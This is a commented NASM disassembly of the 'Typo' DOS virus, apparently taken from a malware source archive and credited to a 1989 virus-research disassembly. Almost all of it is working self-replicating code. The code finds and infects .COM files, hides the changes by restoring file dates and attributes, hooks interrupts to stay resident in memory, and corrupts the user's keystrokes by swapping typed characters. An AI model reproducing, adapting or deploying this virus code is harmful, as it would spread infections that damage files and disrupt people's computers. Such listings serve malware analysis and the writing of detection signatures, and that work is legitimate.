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https://github.com/vxunderground/MalwareSourceCode
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434 lines
12 KiB
NASM
434 lines
12 KiB
NASM
page 65,132
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title The 'Typo' Virus
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º British Computer Virus Research Centre º
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; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
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; º Telephone: Domestic 0273-26105, International +44-273-26105 º
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; º º
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; º The 'Typo' Virus º
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; º Disassembled by Joe Hirst, October 1989 º
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; º º
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; º Copyright (c) Joe Hirst 1989. º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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VECTOR SEGMENT AT 0
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; Interrupt vectors
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ORG 58H
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BW0058 DW ? ; Interrupt 16H offset
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BW005A DW ? ; Interrupt 16H segment
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ORG 80H
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BW0080 DW ? ; Interrupt 20H offset
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BW0082 DW ? ; Interrupt 20H segment
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BW0084 DW ? ; Interrupt 21H offset
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BW0086 DW ? ; Interrupt 21H segment
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VECTOR ENDS
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RAM SEGMENT AT 400H
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; System data
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ORG 6CH
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BW046C DW ? ; System clock
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RAM ENDS
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HOST SEGMENT AT 0
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ORG 2CH
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DW002C DW ?
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ORG 0D0H
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DW00D0 EQU THIS WORD
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DB00D0 DB ?
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ORG 100H
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DB0100 DB ?
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DW0101 DW ?
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HOST ENDS
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE,DS:HOST
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DB 'V1' ; Signature
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DB 0E9H, 1, 0 ; Jump for start of host
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DB '*.COM', 0 ; File spec for infection
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DB 0CEH, 0CDH, 20H ; File start read buffer
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DB 'V1' ; Signature test read buffer
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DW 5 ; File handle
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DB 0CDH, 20H, 90H ; Start of host
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DB 0
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DW 5AH ; Generation count
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DB 0
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; Entry point
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START: PUSH BX
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PUSH CX
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PUSH DX
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PUSH DS
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PUSH ES
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PUSH SI
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PUSH CS
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POP DS
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CALL BP0024 ; \ Get current address
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BP0024: POP SI ; /
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SUB SI,24H ; Relocate from start of virus
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DEC WORD PTR [SI+16H] ; Subtract from generation count
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CMP WORD PTR [SI+16H],3 ; Is generation count three?
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JNE BP0036 ; Branch if not
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MOV WORD PTR [SI+16H],005BH ; Reset generation count to 91
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BP0036: CALL BP02BE ; Test system for infection
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MOV DX,00D0H ; Temp default DTA
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MOV AH,1AH ; Set DTA function
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INT 21H ; DOS service
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MOV AL,[SI+0BH] ; \ Save start of host (1)
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MOV [SI+12H],AL ; /
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MOV AX,[SI+0CH] ; \ Save start of host (2)
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MOV [SI+13H],AX ; /
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MOV AH,2AH ; Get date function
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INT 21H ; DOS service
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TEST DL,1 ; First of month?
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JNZ BP0074 ; Branch if not
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MOV DX,SI ; \ Address '*.COM'
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ADD DX,5 ; /
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nop
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XOR CX,CX ; No attributes
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MOV AH,4EH ; Find first file function
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INT 21H ; DOS service
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JB BP0074 ; Branch if not found
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BP0063: CALL BP0092 ; Test for infection
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MOV DX,SI ; \ Address '*.COM'
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ADD DX,5 ; /
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nop
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XOR CX,CX ; No attributes
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MOV AH,4FH ; Find next file function
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INT 21H ; DOS service
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JNB BP0063 ; Branch if found
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BP0074: MOV AL,[SI+12H] ; \ Restore start of host (1)
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MOV DB0100,AL ; /
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MOV AX,[SI+13H] ; \ Restore start of host (2)
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MOV DW0101,AX ; /
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MOV DX,0080H ; Original default DTA
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MOV AH,1AH ; Set DTA function
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INT 21H ; DOS service
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POP SI
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POP ES
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POP DS
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POP DX
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POP CX
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POP BX
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MOV AX,0100H ; \ Branch to start of host
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JMP AX ; /
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; Test for infection in COM file
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BP0092: MOV AX,4301H ; Set file attributes function
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MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
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XOR CX,CX ; No attributes
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INT 21H ; DOS service
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MOV AX,3D02H ; Open handle (R/W) function
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MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
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INT 21H ; DOS service
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JNB BP00A9 ; Branch if no error
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JMP BP015D ; Return
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BP00A9: MOV [SI+10H],AX ; Save file handle
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MOV BX,AX ; Move file handle
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MOV AH,3FH ; Read handle function
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MOV CX,3 ; Length to read
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MOV DX,SI ; \ Address start-of-host store
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ADD DX,000BH ; /
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nop
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INT 21H ; DOS service
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CMP BYTE PTR [SI+0BH],0E9H ; Is it a jump?
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JNE BP00F1 ; Branch if not
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MOV DX,[SI+0CH] ; \
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SUB DX,16H ; /
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XOR CX,CX ; No high offset
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MOV AX,4200H ; Move file pointer function
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MOV BX,[SI+10H] ; Get file handle
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INT 21H ; DOS service
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MOV BX,AX ; Move actual offset (? not used)
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MOV AH,3FH ; Read handle function
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MOV CX,2 ; Length to read
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MOV DX,SI ; \ Address signature test buffer
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ADD DX,000EH ; /
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nop
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MOV BX,[SI+10H] ; Get file handle
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INT 21H ; DOS service
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JB BP014A ; Branch if error
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CMP AX,0 ; Did we read anything?
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JE BP00F1 ; Branch if not
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MOV AX,[SI+0EH] ; Get signature test
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CMP AX,[SI] ; Is it signature?
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JE BP014A ; Branch if yes
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BP00F1: XOR CX,CX ; \ No offset
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XOR DX,DX ; /
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MOV AX,4202H ; Move file pointer function (EOF)
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MOV BX,[SI+10H] ; Get file handle
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INT 21H ; DOS service
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JB BP014A ; Branch if error
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SUB AX,3 ; Convert length to jump offset
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MOV [SI+3],AX ; Store in jump
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MOV BX,[SI+10H] ; Get file handle
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MOV AH,40H ; Write handle function
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MOV CX,OFFSET ENDADR ; Length of virus
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NOP
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MOV DX,SI ; \ Address start of virus
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ADD DX,0 ; /
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nop
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INT 21H ; DOS service
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JB BP014A ; Branch if error
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ADD WORD PTR [SI+3],19H ; Add entry point offset to jump offset
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XOR DX,DX ; \ No offset
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XOR CX,CX ; /
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MOV AX,4200H ; Move file pointer function
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MOV BX,[SI+10H] ; Get file handle
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INT 21H ; DOS service
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JB BP014A ; Branch if error
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MOV BX,[SI+10H] ; Get file handle
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MOV AH,40H ; Write handle function
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MOV CX,3 ; Length of jump
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MOV DX,SI ; \ Address initial jump
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ADD DX,2 ; /
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nop
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INT 21H ; DOS service
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MOV AX,5701H ; Set file date & time function
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MOV BX,[SI+10H] ; Get file handle
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MOV CX,DW00D0+16H ; Get file time from DTA
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MOV DX,DW00D0+18H ; Get file date from DTA
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INT 21H ; DOS service
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BP014A: MOV BX,[SI+10H] ; Get file handle
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MOV AH,3EH ; Close handle function
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INT 21H ; DOS service
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MOV AX,4301H ; Set file attributes function
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MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
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MOV CL,DB00D0+15H ; Get attributes from DTA
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INT 21H ; DOS service
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BP015D: RET
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; Interrupt 16H routine
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BP015E: STI
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CMP AH,0DDH ; Infection test function?
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JNE BP0167 ; Branch if not
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MOV AL,AH ; Copy function number
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IRET
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BP0167: CMP AH,0 ; Get key token?
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JE BP01D8 ; Branch if yes
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DB 0EAH ; Far jump
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DW016D DW 0488H ; Int 16H offset
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DW016F DW 39D8H ; Int 16H segment
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DW0171 DW 0FA76H
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DW0173 DW 0F9DCH
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DW0175 DW 005AH
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DB0177 DB 060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H
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DB 038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H
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DB 040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H
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DB 029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H
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DB 074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH
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DB 05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH
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DB 06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H
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DB 062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H
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DB 045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H
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DB 07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H
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DB 04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H
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DB 043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH
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DB 02EH
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BP01D8: PUSH SI
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CALL BP01DC ; \ Get current address
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BP01DC: POP SI ; /
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PUSHF
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CALL DWORD PTR CS:[SI-6FH] ; Execute original BIOS call
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PUSH BX
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PUSH ES
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MOV BX,0040H ; \ Address system RAM
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MOV ES,BX ; /
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ASSUME ES:RAM
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MOV BX,BW046C ; Get system clock, low word
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PUSH BX
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SUB BX,CS:[SI-6BH] ; DW0171
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CMP BX,2
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POP BX
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MOV CS:[SI-6BH],BX
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JG BP0236
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XCHG BX,CS:[SI-69H] ; DW0173
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SUB BX,CS:[SI-69H]
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NEG BX
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CMP BX,CS:[SI-67H] ; DW0175
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JL BP0236
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DEC WORD PTR CS:[SI-67H]
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CMP WORD PTR CS:[SI-67H],6
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JE BP021E
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MOV WORD PTR CS:[SI-67H],005BH
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BP021E: SUB SI,65H
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PUSH CX
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MOV CX,0061H
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BP0225: CMP AL,CS:[SI]
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JE BP0231
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INC SI
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LOOP BP0225
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POP CX
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JMP BP0236
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BP0231: POP CX
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MOV AL,CS:[SI+1]
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BP0236: POP ES
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POP BX
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POP SI
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RETF 2
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; Interrupt 21H routine
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ASSUME ES:NOTHING
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BP023C: CMP AH,0 ; Terminate program?
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JE BP0246 ; Branch if yes
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CMP AH,4CH ; Load?
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JNE BP025F ; Branch if not
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BP0246: CALL BP026D ; Install virus in memory
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MOV DX,CS:DW002C ; \ Set ES to environment block
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MOV ES,DX ; /
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MOV BX,0 ; Zero length
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MOV AH,4AH ; Set block function
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INT 21H ; DOS service
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MOV DX,001DH ; \ Length to keep
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ADD DX,1 ; /
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MOV AH,31H ; Keep process function
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BP025F: DB 0EAH ; Far jump
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DW0260 DW 2DEAH ; Int 21H offset
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DW0262 DW 4242H ; Int 21H segment
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; Interrupt 20H routine
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BP0264: MOV AX,4C00H ; Fake a load
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JMP BP023C ; Process as a DOS service
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DW0269 DW 2C08H ; Int 20H offset
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DW026B DW 4242H ; Int 20H segment
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; Install virus in memory
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BP026D: PUSH CX
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PUSH DI
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PUSH SI
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PUSH ES
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CALL BP0274 ; \ Get current address
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BP0274: POP SI ; /
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PUSH SI
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MOV DI,0100H ; Address start of area
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MOV CX,OFFSET BP023C-BP015E ; Length to copy
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BP027C: MOV AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte
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MOV CS:[DI],AL ; Store in new location
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INC SI ; Next input position
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INC DI ; Next output position
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LOOP BP027C ; Repeat to end of area
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POP SI
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XOR CX,CX ; \ Address zero
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MOV ES,CX ; /
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ASSUME ES:VECTOR
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MOV CX,CS:[SI-14H] ; \ Restore Int 21H offset
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MOV BW0084,CX ; /
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MOV CX,CS:[SI-12H] ; \ Restore Int 21H segment
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MOV BW0086,CX ; /
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MOV CX,CS:[SI-0BH] ; \ Restore Int 20H offset
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MOV BW0080,CX ; /
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MOV CX,CS:[SI-9] ; \ Restore Int 20H segment
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MOV BW0082,CX ; /
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MOV CX,0100H ; \ Install moved area as Int 16H
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MOV BW0058,CX ; /
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ASSUME ES:NOTHING
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POP ES
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POP SI
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POP DI
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POP CX
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RET
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; Test system for infection
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BP02BE: PUSH AX
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XOR AL,AL ; Clear register
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MOV AH,0DDH ; Infection test function
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INT 16H ; Keyboard I/O
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CMP AL,AH ; Are they the same
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JNE BP02CB ; Branch if not
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POP AX
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RET
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; Install interrupts
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BP02CB: PUSH BX
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PUSH SI
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PUSH ES
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MOV DX,[SI+16H] ; Get generation count
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CALL BP02D4 ; \ Get current address
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BP02D4: POP SI ; /
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PUSH BX
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PUSH ES
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MOV BX,0040H ; \ Address system RAM
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MOV ES,BX ; /
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ASSUME ES:RAM
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MOV BX,BW046C ; Get system clock, low word
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MOV CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word
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MOV CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word
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ASSUME ES:NOTHING
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POP ES
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POP BX
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MOV [SI+DW0175-BP02D4],DX ; Save generation count
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XOR AX,AX ; \ Address zero
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MOV ES,AX ; /
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ASSUME ES:VECTOR
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MOV AX,BW0084 ; \ Save Int 21H offset (DW0260)
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MOV CS:[SI-74H],AX ;
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MOV AX,BW0086 ; \ Save Int 21H segment (DW0262)
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MOV CS:[SI-72H],AX ;
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MOV AX,BW0058 ; \ Save Int 16H offset (DW016D)
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MOV CS:[SI+0FE99H],AX ; /
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MOV AX,BW005A ; \ Save Int 16H segment (DW016F)
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MOV CS:[SI+0FE9BH],AX ; /
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MOV AX,BW0080 ; \ Save Int 20H offset (DW0269)
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MOV CS:[SI-6BH],AX ; /
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MOV AX,BW0082 ; \ Save Int 20H segment (DW026B)
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MOV CS:[SI-69H],AX ; /
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CLI
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PUSH CS ; \ Set Int 21H segment
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POP BW0086 ; /
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MOV BW0084,SI ; \ Set Int 21H offset (BP023C)
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SUB BW0084,0098H ; /
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PUSH CS ; \ Set Int 20H segment
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POP BW0082 ; /
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MOV BW0080,SI ; \ Set Int 20H offset (BP0264)
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SUB BW0080,70H ; /
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PUSH CS ; \ Set Int 16H segment
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POP BW005A ; /
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MOV BW0058,SI ; \ Set Int 16H offset (BP015E)
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SUB BW0058,0176H ; /
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STI
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ASSUME ES:NOTHING
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POP ES
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POP SI
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POP BX
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POP AX
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RET
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ENDADR EQU $
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CODE ENDS
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END
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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